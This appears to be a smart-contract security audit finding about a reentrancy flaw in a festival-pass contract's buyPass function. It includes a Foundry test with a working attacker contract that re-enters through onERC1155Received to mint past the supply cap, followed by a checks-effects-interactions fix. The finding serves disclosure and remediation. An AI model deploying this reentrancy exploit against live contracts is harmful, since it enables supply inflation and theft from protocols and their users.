Reentrancy in buyPass
Allows Bypassing of Pass Supply Cap
Description
-
The buyPass
function allows users to buy a festival pass, up to the maximum supply cap for each type (general, VIP, backstage).
-
However, the passSupply
is incremented after the external call within _mint
. An attacker's contract can use the onERC1155Received
hook, which is triggered by _mint
, to call buyPass
again before the supply is updated, thus bypassing the maxSupply
check.
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Risk
Likelihood:
An attacker calls buyPass
from a custom contract that implements a malicious onERC1155Received
hook.
Impact:
-
Bypassing the maxSupply
breaks a core protocol invariant. When limited passes are no longer scarce, their value is reduced for legitimate holders.
-
The attacker can claim an unfair amount of the BEAT
token welcome bonuses, negatively impacting the protocol's token economy.
Proof of Concept
The following test shows an attacker buying 101 backstage passes when the intended limit was 100.
Add the followings to FestivalPass.t.sol
. Running forge test --mt test_Audit_BuyPassReentrancy -vv
shows the output proving the supply exceeds the cap.
function test_Audit_BuyPassReentrancy() public {
address attacker = makeAddr("attacker");
uint256 backStageCollectionId = 3;
vm.deal(attacker, 30 ether);
vm.startPrank(attacker);
ReenterContract r = new ReenterContract(
festivalPass,
backStageCollectionId,
BACKSTAGE_PRICE
);
payable(r).transfer(30 ether);
r.exploit(BACKSTAGE_MAX_SUPPLY + 1);
vm.stopPrank();
vm.prank(user1);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: BACKSTAGE_PRICE}(backStageCollectionId);
uint256 maxSupply = festivalPass.passMaxSupply(backStageCollectionId);
uint256 passSupply = festivalPass.passSupply(backStageCollectionId);
assertLt(maxSupply, passSupply);
console.log("supply cap: %s / real supply: %s", maxSupply, passSupply);
}
contract ReenterContract {
FestivalPass immutable fp;
uint256 immutable ID;
uint256 immutable PRICE;
uint256 counter;
constructor(FestivalPass _fp, uint256 _ID, uint256 _PRICE) {
fp = _fp;
ID = _ID;
PRICE = _PRICE;
}
receive() external payable {}
function exploit(uint256 _counter) external {
counter = _counter;
buyPass();
}
function buyPass() public {
if (counter > 0) {
counter--;
fp.buyPass{value: PRICE}(ID);
}
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external returns (bytes4) {
buyPass();
return bytes4(0xf23a6e61);
}
}
Recommended Mitigation
Follow the Checks-Effects-Interactions pattern. Update the passSupply
state variable (Effect) before the _mint
call (Interaction).
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}